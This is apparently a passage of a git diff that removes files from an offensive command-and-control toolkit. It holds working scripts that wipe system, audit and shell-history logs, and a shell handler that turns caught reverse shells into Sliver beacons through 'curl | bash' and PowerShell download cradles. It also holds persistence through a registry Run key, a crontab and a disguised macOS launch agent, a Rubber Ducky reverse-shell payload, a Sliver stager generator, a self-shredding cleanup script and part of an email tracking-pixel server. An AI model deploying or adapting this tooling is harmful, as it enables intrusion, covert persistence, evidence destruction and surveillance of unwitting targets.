||||||
"auth.log"
|
|
||||||
"syslog"
|
|
||||||
"messages"
|
|
||||||
"kern.log"
|
|
||||||
"daemon.log"
|
|
||||||
"user.log"
|
|
||||||
"btmp"
|
|
||||||
"wtmp"
|
|
||||||
"lastlog"
|
|
||||||
)
|
|
||||||
|
|
||||||
# Disable syslog temporarily
|
|
||||||
systemctl stop rsyslog 2>/dev/null
|
|
||||||
systemctl stop syslog-ng 2>/dev/null
|
|
||||||
systemctl stop systemd-journald 2>/dev/null
|
|
||||||
|
|
||||||
# Clear all standard logs
|
|
||||||
echo "[+] Clearing standard system logs..."
|
|
||||||
for log in "${SYSTEM_LOGS[@]}"; do
|
|
||||||
find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null
|
|
||||||
find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Clear all journal logs
|
|
||||||
echo "[+] Clearing systemd journal..."
|
|
||||||
journalctl --vacuum-time=1s 2>/dev/null
|
|
||||||
rm -rf /var/log/journal/* 2>/dev/null
|
|
||||||
|
|
||||||
# Clear audit logs
|
|
||||||
echo "[+] Clearing audit logs..."
|
|
||||||
auditctl -e 0 2>/dev/null
|
|
||||||
cat /dev/null > /var/log/audit/audit.log 2>/dev/null
|
|
||||||
|
|
||||||
# Clear bash history for all users
|
|
||||||
echo "[+] Clearing bash history..."
|
|
||||||
for histfile in /root/.bash_history /home/*/.bash_history; do
|
|
||||||
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
|
|
||||||
done
|
|
||||||
history -c
|
|
||||||
cat /dev/null > ~/.bash_history 2>/dev/null
|
|
||||||
unset HISTFILE
|
|
||||||
|
|
||||||
# Clear NGINX logs
|
|
||||||
echo "[+] Clearing NGINX logs..."
|
|
||||||
for nginx_log in /var/log/nginx/*; do
|
|
||||||
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Clear SSH logs
|
|
||||||
echo "[+] Clearing SSH logs..."
|
|
||||||
cat /dev/null > /var/log/auth.log 2>/dev/null
|
|
||||||
cat /dev/null > /var/log/secure 2>/dev/null
|
|
||||||
|
|
||||||
# Clear mail logs
|
|
||||||
echo "[+] Clearing mail logs..."
|
|
||||||
cat /dev/null > /var/log/mail.log 2>/dev/null
|
|
||||||
cat /dev/null > /var/log/maillog 2>/dev/null
|
|
||||||
|
|
||||||
# Clear sliver logs
|
|
||||||
echo "[+] Clearing Sliver C2 logs..."
|
|
||||||
find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
|
|
||||||
find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
|
|
||||||
|
|
||||||
# Clear temporary directories
|
|
||||||
echo "[+] Clearing temporary files..."
|
|
||||||
rm -rf /tmp/* /var/tmp/* 2>/dev/null
|
|
||||||
|
|
||||||
# Clear RAM and swap
|
|
||||||
echo "[+] Clearing RAM cache and swap..."
|
|
||||||
sync
|
|
||||||
echo 3 > /proc/sys/vm/drop_caches
|
|
||||||
swapoff -a && swapon -a 2>/dev/null
|
|
||||||
|
|
||||||
# Restart logging services
|
|
||||||
systemctl start systemd-journald 2>/dev/null
|
|
||||||
systemctl start rsyslog 2>/dev/null
|
|
||||||
systemctl start syslog-ng 2>/dev/null
|
|
||||||
|
|
||||||
echo "[+] Log cleaning complete"
|
|
||||||
exit 0
|
|
||||||
@@ -1,156 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Automated shell handler for catching and upgrading reverse shells
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
LISTEN_PORT=4444
|
|
||||||
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
|
||||||
C2_PORT=50051 # Sliver default gRPC port
|
|
||||||
WINDOWS_BEACON="/opt/beacons/windows.exe"
|
|
||||||
LINUX_BEACON="/opt/beacons/linux"
|
|
||||||
MACOS_BEACON="/opt/beacons/macos"
|
|
||||||
|
|
||||||
# Set secure permissions
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Logging function (minimal and encrypted)
|
|
||||||
log() {
|
|
||||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
|
||||||
local message="$1"
|
|
||||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
|
|
||||||
}
|
|
||||||
|
|
||||||
# Detect OS function
|
|
||||||
detect_os() {
|
|
||||||
local connection=$1
|
|
||||||
|
|
||||||
# Send commands to determine OS
|
|
||||||
echo "echo \$OSTYPE" > $connection
|
|
||||||
sleep 1
|
|
||||||
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
|
||||||
|
|
||||||
if [[ $ostype == *"win"* ]]; then
|
|
||||||
echo "windows"
|
|
||||||
elif [[ $ostype == *"darwin"* ]]; then
|
|
||||||
echo "macos"
|
|
||||||
elif [[ $ostype == *"linux"* ]]; then
|
|
||||||
echo "linux"
|
|
||||||
else
|
|
||||||
# Try Windows-specific command
|
|
||||||
echo "ver" > $connection
|
|
||||||
sleep 1
|
|
||||||
winver=$(cat $connection | grep -i "microsoft windows")
|
|
||||||
|
|
||||||
if [[ -n "$winver" ]]; then
|
|
||||||
echo "windows"
|
|
||||||
else
|
|
||||||
# Default to Linux if we can't determine
|
|
||||||
echo "linux"
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
# Deploy appropriate beacon based on OS
|
|
||||||
deploy_beacon() {
|
|
||||||
local connection=$1
|
|
||||||
local os_type=$2
|
|
||||||
|
|
||||||
log "Deploying beacon for detected OS: $os_type"
|
|
||||||
|
|
||||||
case $os_type in
|
|
||||||
windows)
|
|
||||||
# Upload Windows beacon using PowerShell download cradle
|
|
||||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection
|
|
||||||
;;
|
|
||||||
linux)
|
|
||||||
# Upload Linux beacon using curl
|
|
||||||
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
|
|
||||||
;;
|
|
||||||
macos)
|
|
||||||
# Upload macOS beacon using curl
|
|
||||||
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
|
|
||||||
;;
|
|
||||||
esac
|
|
||||||
|
|
||||||
log "Beacon deployment command sent"
|
|
||||||
}
|
|
||||||
|
|
||||||
# Establish persistence based on OS
|
|
||||||
establish_persistence() {
|
|
||||||
local connection=$1
|
|
||||||
local os_type=$2
|
|
||||||
|
|
||||||
log "Attempting to establish persistence on $os_type"
|
|
||||||
|
|
||||||
case $os_type in
|
|
||||||
windows)
|
|
||||||
# Windows persistence via registry run key
|
|
||||||
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
|
|
||||||
;;
|
|
||||||
linux)
|
|
||||||
# Linux persistence via crontab
|
|
||||||
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection
|
|
||||||
;;
|
|
||||||
macos)
|
|
||||||
# macOS persistence via launch agent
|
|
||||||
echo "mkdir -p ~/Library/LaunchAgents" > $connection
|
|
||||||
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/check.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
|
||||||
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
|
||||||
;;
|
|
||||||
esac
|
|
||||||
|
|
||||||
log "Persistence commands sent for $os_type"
|
|
||||||
}
|
|
||||||
|
|
||||||
# Main shell handler loop
|
|
||||||
handle_connections() {
|
|
||||||
log "Shell handler started on port $LISTEN_PORT"
|
|
||||||
|
|
||||||
# Use mkfifo for bidirectional communication
|
|
||||||
PIPE_PATH="/tmp/shell_handler_pipe"
|
|
||||||
trap 'rm -f $PIPE_PATH' EXIT
|
|
||||||
|
|
||||||
while true; do
|
|
||||||
# Clean up existing pipe
|
|
||||||
rm -f $PIPE_PATH
|
|
||||||
mkfifo $PIPE_PATH
|
|
||||||
|
|
||||||
log "Waiting for incoming connection..."
|
|
||||||
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
|
||||||
NC_PID=$!
|
|
||||||
|
|
||||||
# Wait for connection to be established
|
|
||||||
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
|
|
||||||
sleep 1
|
|
||||||
# Check if nc is still running
|
|
||||||
if ! kill -0 $NC_PID 2>/dev/null; then
|
|
||||||
log "Netcat process died, restarting..."
|
|
||||||
rm -f $PIPE_PATH $PIPE_PATH.output
|
|
||||||
continue 2 # Restart the outer loop
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
log "Connection received, detecting OS..."
|
|
||||||
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
|
|
||||||
log "Detected OS: $DETECTED_OS"
|
|
||||||
|
|
||||||
# Deploy beacon
|
|
||||||
deploy_beacon "$PIPE_PATH" "$DETECTED_OS"
|
|
||||||
sleep 5
|
|
||||||
|
|
||||||
# Establish persistence
|
|
||||||
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
|
|
||||||
sleep 5
|
|
||||||
|
|
||||||
# Keep connection alive for manual operation if needed
|
|
||||||
log "Beacon deployed, maintaining shell connection..."
|
|
||||||
echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH
|
|
||||||
|
|
||||||
# Wait for connection to close
|
|
||||||
wait $NC_PID
|
|
||||||
log "Connection closed, cleaning up and restarting listener..."
|
|
||||||
rm -f $PIPE_PATH.output
|
|
||||||
done
|
|
||||||
}
|
|
||||||
|
|
||||||
# Start the shell handler
|
|
||||||
handle_connections
|
|
||||||
@@ -1,52 +0,0 @@
|
|||||||
REM Title: C2ingRed Reverse Shell
|
|
||||||
REM Author: C2ingRed
|
|
||||||
REM Description: Establishes a reverse shell to the C2 redirector
|
|
||||||
REM Target: Windows 10/11
|
|
||||||
REM Version: 1.0
|
|
||||||
|
|
||||||
REM Configuration: Modify these values to match your redirector setup
|
|
||||||
REM REDIRECTOR_HOST: Your redirector domain or IP
|
|
||||||
REM REDIRECTOR_PORT: Port where shell handler is listening
|
|
||||||
REM SHELL_TYPE: powershell or cmd
|
|
||||||
|
|
||||||
REM ============= Start of configuration =============
|
|
||||||
REM REDIRECTOR_HOST=cdn.example.com
|
|
||||||
REM REDIRECTOR_PORT=4444
|
|
||||||
REM SHELL_TYPE=powershell
|
|
||||||
REM ============= End of configuration ===============
|
|
||||||
|
|
||||||
REM Minimize the chance of detection by hiding the window
|
|
||||||
DELAY 1000
|
|
||||||
GUI r
|
|
||||||
DELAY 500
|
|
||||||
STRING powershell -WindowStyle Hidden
|
|
||||||
ENTER
|
|
||||||
DELAY 2000
|
|
||||||
|
|
||||||
REM Main reverse shell payload
|
|
||||||
STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
|
|
||||||
ENTER
|
|
||||||
|
|
||||||
REM Attempt to create socket connection with retry logic
|
|
||||||
STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
|
|
||||||
ENTER
|
|
||||||
|
|
||||||
REM Setup streams
|
|
||||||
STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
|
|
||||||
ENTER
|
|
||||||
|
|
||||||
REM Execute either PowerShell or CMD shell based on configuration
|
|
||||||
STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
|
|
||||||
ENTER
|
|
||||||
|
|
||||||
REM Setup IO redirection
|
|
||||||
STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
|
|
||||||
ENTER
|
|
||||||
|
|
||||||
REM Main communication loop
|
|
||||||
STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
|
|
||||||
ENTER
|
|
||||||
|
|
||||||
REM Execute and complete
|
|
||||||
STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
|
|
||||||
ENTER
|
|
||||||
@@ -1,96 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Secure cleanup script for terminating the C2 infrastructure
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
SECURE_DELETE_PASSES=7
|
|
||||||
MEMORY_WIPE=true
|
|
||||||
SELF_DESTRUCT=false # Set to true for complete instance termination (if API available)
|
|
||||||
|
|
||||||
# Set secure umask
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Function to securely delete files
|
|
||||||
secure_delete() {
|
|
||||||
local target=$1
|
|
||||||
echo "[+] Securely deleting: $target"
|
|
||||||
|
|
||||||
if command -v srm > /dev/null; then
|
|
||||||
srm -vzf $target 2>/dev/null
|
|
||||||
elif command -v shred > /dev/null; then
|
|
||||||
shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
|
|
||||||
else
|
|
||||||
# Fallback to dd if specialized tools aren't available
|
|
||||||
dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
|
||||||
dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
|
||||||
rm -f $target 2>/dev/null
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
echo "[+] Beginning secure exit procedure..."
|
|
||||||
|
|
||||||
# Stop all operational services
|
|
||||||
echo "[+] Stopping operational services..."
|
|
||||||
services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot")
|
|
||||||
for service in "${services[@]}"; do
|
|
||||||
systemctl stop $service 2>/dev/null
|
|
||||||
service $service stop 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Kill any remaining operational processes
|
|
||||||
echo "[+] Terminating operational processes..."
|
|
||||||
process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor")
|
|
||||||
for proc in "${process_names[@]}"; do
|
|
||||||
pkill -9 $proc 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Clear all logs
|
|
||||||
echo "[+] Clearing logs..."
|
|
||||||
bash /opt/c2/clean-logs.sh
|
|
||||||
|
|
||||||
# Securely delete operational files
|
|
||||||
echo "[+] Removing operational files..."
|
|
||||||
operational_dirs=(
|
|
||||||
"/opt/c2"
|
|
||||||
"/opt/beacons"
|
|
||||||
"/opt/payloads"
|
|
||||||
"/root/.sliver"
|
|
||||||
"/root/.msf4"
|
|
||||||
"/root/.gophish"
|
|
||||||
"/root/Tools"
|
|
||||||
"/home/*/Tools"
|
|
||||||
"/var/www/html"
|
|
||||||
)
|
|
||||||
|
|
||||||
for dir in "${operational_dirs[@]}"; do
|
|
||||||
find $dir -type f 2>/dev/null | while read file; do
|
|
||||||
secure_delete "$file"
|
|
||||||
done
|
|
||||||
rm -rf $dir 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Remove SSH keys
|
|
||||||
echo "[+] Removing SSH keys and configs..."
|
|
||||||
find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
|
|
||||||
secure_delete "$file"
|
|
||||||
done
|
|
||||||
|
|
||||||
# Clean memory if requested
|
|
||||||
if $MEMORY_WIPE; then
|
|
||||||
echo "[+] Wiping system memory..."
|
|
||||||
sync
|
|
||||||
echo 3 > /proc/sys/vm/drop_caches
|
|
||||||
swapoff -a
|
|
||||||
swapon -a
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Self-destruct if configured (for cloud providers with API access)
|
|
||||||
if $SELF_DESTRUCT; then
|
|
||||||
echo "[+] Initiating self-destruct sequence..."
|
|
||||||
# This would typically call the cloud provider's API to terminate the instance
|
|
||||||
# For FlokiNET, this would need to be handled manually
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "[+] Secure exit completed. Infrastructure has been sanitized."
|
|
||||||
|
|
||||||
# Remove this script itself
|
|
||||||
exec shred -n $SECURE_DELETE_PASSES -uz $0
|
|
||||||
@@ -1,72 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Beacon server script to host generated implants
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
BEACONS_DIR="/opt/beacons"
|
|
||||||
WEBSERVER_PORT=8443
|
|
||||||
CERTIFICATE="/etc/ssl/private/beacon-server.pem"
|
|
||||||
KEY="/etc/ssl/private/beacon-server.key"
|
|
||||||
|
|
||||||
# Set secure umask
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Ensure beacons directory exists
|
|
||||||
mkdir -p $BEACONS_DIR
|
|
||||||
|
|
||||||
# Function to generate beacons using Sliver
|
|
||||||
generate_beacons() {
|
|
||||||
echo "[+] Generating beacons for all platforms..."
|
|
||||||
|
|
||||||
# Make sure Sliver server is running
|
|
||||||
if ! pgrep -x "sliver-server" > /dev/null; then
|
|
||||||
echo "[!] Sliver server is not running, starting it..."
|
|
||||||
systemctl start sliver
|
|
||||||
sleep 5
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Generate Windows beacon
|
|
||||||
sliver-cli generate --http $C2_HOST:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
|
|
||||||
|
|
||||||
# Generate Linux beacon
|
|
||||||
sliver-cli generate --http $C2_HOST:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
|
|
||||||
|
|
||||||
# Generate macOS beacon
|
|
||||||
sliver-cli generate --http $C2_HOST:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
|
|
||||||
|
|
||||||
# Generate stagers
|
|
||||||
echo "#!/bin/bash
|
|
||||||
curl -s $C2_HOST:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
|
|
||||||
chmod +x $BEACONS_DIR/beacon.sh
|
|
||||||
|
|
||||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
|
|
||||||
\$url = 'http://$C2_HOST:8443/windows.exe';
|
|
||||||
\$outpath = \"\$env:TEMP\\update.exe\";
|
|
||||||
Invoke-WebRequest -Uri \$url -OutFile \$outpath;
|
|
||||||
Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
|
|
||||||
|
|
||||||
echo "[+] All beacons generated successfully"
|
|
||||||
}
|
|
||||||
|
|
||||||
# Generate beacons
|
|
||||||
generate_beacons
|
|
||||||
|
|
||||||
# Serve beacons using Python's HTTP server (with SSL if certificate exists)
|
|
||||||
if [ -f "$CERTIFICATE" ] && [ -f "$KEY" ]; then
|
|
||||||
echo "[+] Starting HTTPS server on port $WEBSERVER_PORT..."
|
|
||||||
cd $BEACONS_DIR
|
|
||||||
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
|
|
||||||
SERVER_PID=$!
|
|
||||||
else
|
|
||||||
echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
|
|
||||||
cd $BEACONS_DIR
|
|
||||||
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
|
|
||||||
SERVER_PID=$!
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "[+] Beacon server started with PID $SERVER_PID"
|
|
||||||
echo "[+] Beacons available at http(s)://$C2_HOST:$WEBSERVER_PORT/"
|
|
||||||
echo "[+] Press Ctrl+C to stop the server"
|
|
||||||
|
|
||||||
# Keep script running and respond to Ctrl+C
|
|
||||||
trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
|
|
||||||
while true; do sleep 1; done
|
|
||||||
@@ -1,214 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
Simple Email Tracking Server
|
|
||||||
|
|
||||||
A minimal Flask application that serves transparent tracking pixels
|
|
||||||
and logs email opens with metadata.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
|
||||||
import json
|
|
||||||
import time
|
|
||||||
import logging
|
|
||||||
from datetime import datetime
|
|
||||||
from flask import Flask, request, send_file, render_template_string
|
|
||||||
|
|
||||||
# Configure logging
|
|
||||||
logging.basicConfig(
|
|
||||||
level=logging.INFO,
|
|
||||||
format='%(asctime)s - %(levelname)s - %(message)s',
|
|
||||||
handlers=[
|
|
||||||
logging.FileHandler('/opt/tracker/data/tracker.log'),
|
|
||||||
logging.StreamHandler()
|
|
||||||
]
|
|
||||||
)
|
|
||||||
|
|
||||||
# Create Flask app
|
|
||||||
app = Flask(__name__)
|
|
||||||
|
|
||||||
# Directory to store tracking data
|
|
||||||
DATA_DIR = '/opt/tracker/data'
|
|
||||||
os.makedirs(DATA_DIR, exist_ok=True)
|
|
||||||
|
|
||||||
# Path to 1x1 transparent pixel
|
|
||||||
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
|
|
||||||
|
|
||||||
# Create 1x1 transparent PNG if it doesn't exist
|
|
||||||
if not os.path.exists(PIXEL_PATH):
|
|
||||||
from PIL import Image
|
|
||||||
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
|
|
||||||
img.save(PIXEL_PATH)
|
|
||||||
|
|
||||||
# Path to tracking data
|
|
||||||
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
|
|
||||||
|
|
||||||
def load_tracking_data():
|
|
||||||
"""Load existing tracking data from JSON file"""
|
|
||||||
if os.path.exists(TRACKING_DATA_PATH):
|
|
||||||
try:
|
|
||||||
with open(TRACKING_DATA_PATH, 'r') as f:
|
|
||||||
return json.load(f)
|
|
||||||
except json.JSONDecodeError:
|
|
||||||
logging.error("Error loading tracking data, starting fresh")
|
|
||||||
return {}
|
|
||||||
|
|
||||||
def save_tracking_data(data):
|
|
||||||
"""Save tracking data to JSON file"""
|
|
||||||
with open(TRACKING_DATA_PATH, 'w') as f:
|
|
||||||
json.dump(data, f, indent=2)
|
|
||||||
|
|
||||||
@app.route('/pixel/<tracking_id>.png')
|
|
||||||
def tracking_pixel(tracking_id):
|
|
||||||
"""Serve a tracking pixel and log the request"""
|
|
||||||
# Get client information
|
|
||||||
user_agent = request.headers.get('User-Agent', 'Unknown')
|
|
||||||
ip_address = request.remote_addr
|
|
||||||
timestamp = datetime.now().isoformat()
|
|
||||||
referer = request.headers.get('Referer', 'Unknown')
|
|
||||||
|
|
||||||
# Log the tracking event
|
|
||||||
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
|
|
||||||
|
|
||||||
# Add tracking event to data
|
|
||||||
tracking_data = load_tracking_data()
|
|
||||||
|
|
||||||
if tracking_id not in tracking_data:
|
|
||||||
tracking_data[tracking_id] = []
|
|
||||||
|
|
||||||
tracking_data[tracking_id].append({
|
|
||||||
'timestamp': timestamp,
|
|
||||||
'ip_address': ip_address,
|
|
||||||
'user_agent': user_agent,
|
|
||||||
'referer': referer
|
|
||||||
})
|
|
||||||
|
|
||||||
save_tracking_data(tracking_data)
|
|
||||||
|
|
||||||
# Return the 1x1 transparent pixel
|
|
||||||
return send_file(PIXEL_PATH, mimetype='image/png')
|
|
||||||
|
|
||||||
@app.route('/')
|
|
||||||
def dashboard():
|
|
||||||
"""Display tracking statistics dashboard"""
|
|
||||||
tracking_data = load_tracking_data()
|
|
||||||
|
|
||||||
# Prepare data for the dashboard
|
|
||||||
stats = []
|
|
||||||
for tracking_id, events in tracking_data.items():
|
|
||||||
stats.append({
|
|
||||||
'id': tracking_id,
|
|
||||||
'views': len(events),
|
|
||||||
'last_view': events[-1]['timestamp'] if events else 'Never',
|
|
||||||
'unique_ips': len(set(e['ip_address'] for e in events))
|
|
||||||
})
|
|
||||||
|
|
||||||
# Sort by most views
|
|
||||||
stats.sort(key=lambda x: x['views'], reverse=True)
|
|
||||||
|
|
||||||
# Simple HTML dashboard template
|
|
||||||
template = """
|
|
||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<title>Email Tracking Dashboard</title>
|
|
||||||
<style>
|
|
||||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
|
||||||
h1 { color: #333; }
|
|
||||||
table { border-collapse: collapse; width: 100%; }
|
|
||||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
|
||||||
tr:hover { background-color: #f5f5f5; }
|
|
||||||
th { background-color: #4CAF50; color: white; }
|
|
||||||
.container { max-width: 800px; margin: 0 auto; }
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<div class="container">
|
|
||||||
<h1>Email Tracking Dashboard</h1>
|
|
||||||
<p>To track email opens, add this HTML to your emails:</p>
|
|
||||||
<pre><img src="https://YOUR_DOMAIN/px/YOUR_TRACKING_ID.png" height="1" width="1" /></pre>
|
|
||||||
|
|
||||||
<h2>Tracking Statistics</h2>
|
|
||||||
<table>
|
|
||||||
<tr>
|
|
||||||
<th>Tracking ID</th>
|
|
||||||
<th>Views</th>
|
|
||||||
<th>Unique IPs</th>
|
|
||||||
<th>Last View</th>
|
|
||||||
<th>Details</th>
|
|
||||||
</tr>
|
|
||||||
{% for stat in stats %}
|
|
||||||
<tr>
|
|
||||||
<td>{{ stat.id }}</td>
|
|
||||||
<td>{{ stat.views }}</td>
|
|
||||||
<td>{{ stat.unique_ips }}</td>
|
|
||||||
<td>{{ stat.last_view }}</td>
|
|
||||||
<td><a href="/details/{{ stat.id }}">View Details</a></td>
|
|
||||||
</tr>
|
|
||||||
{% endfor %}
|
|
||||||
</table>
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
"""
|
|
||||||
|
|
||||||
return render_template_string(template, stats=stats)
|
|
||||||
|
|
||||||
@app.route('/details/<tracking_id>')
|
|
||||||
def tracking_details(tracking_id):
|
|
||||||
"""Display detailed tracking information for a specific ID"""
|
|
||||||
tracking_data = load_tracking_data()
|
|
||||||
|
|
||||||
if tracking_id not in tracking_data:
|
|
||||||
return f"No data found for tracking ID: {tracking_id}", 404
|
|
||||||
|
|
||||||
events = tracking_data[tracking_id]
|
|
||||||
|
|
||||||
# Simple HTML template for details
|
|
||||||
template = """
|
|
||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<title>Tracking Details: {{ tracking_id }}</title>
|
|
||||||
<style>
|
|
||||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
|
||||||
h1, h2 { color: #333; }
|
|
||||||
table { border-collapse: collapse; width: 100%; }
|
|
||||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
|
||||||
tr:hover { background-color: #f5f5f5; }
|
|
||||||
th { background-color: #4CAF50; color: white; }
|
|
||||||
.container { max-width: 800px; margin: 0 auto; }
|
|
||||||
.back { margin-bottom: 20px; }
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<div class="container">
|
|
||||||
<div class="back"><a href="/">« Back to Dashboard</a></div>
|
|
||||||
<h1>Tracking Details: {{ tracking_id }}</h1>
|
|
||||||
<p>Total views: {{ events|length }}</p>
|
|
||||||
|
|
||||||
<h2>Events</h2>
|
|
||||||
<table>
|
|
||||||
<tr>
|
|
||||||
<th>Time</th>
|
|
||||||
<th>IP Address</th>
|
|
||||||
<th>User Agent</th>
|
|
||||||
<th>Referer</th>
|
|
||||||
</tr>
|
|
||||||
{% for event in events %}
|
|
||||||
<tr>
|
|
||||||
<td>{{ event.timestamp }}</td>
|
|
||||||
<td>{{ event.ip_address }}</td>
|
|
||||||
<td>{{ event.user_agent }}</td>
|
|
||||||
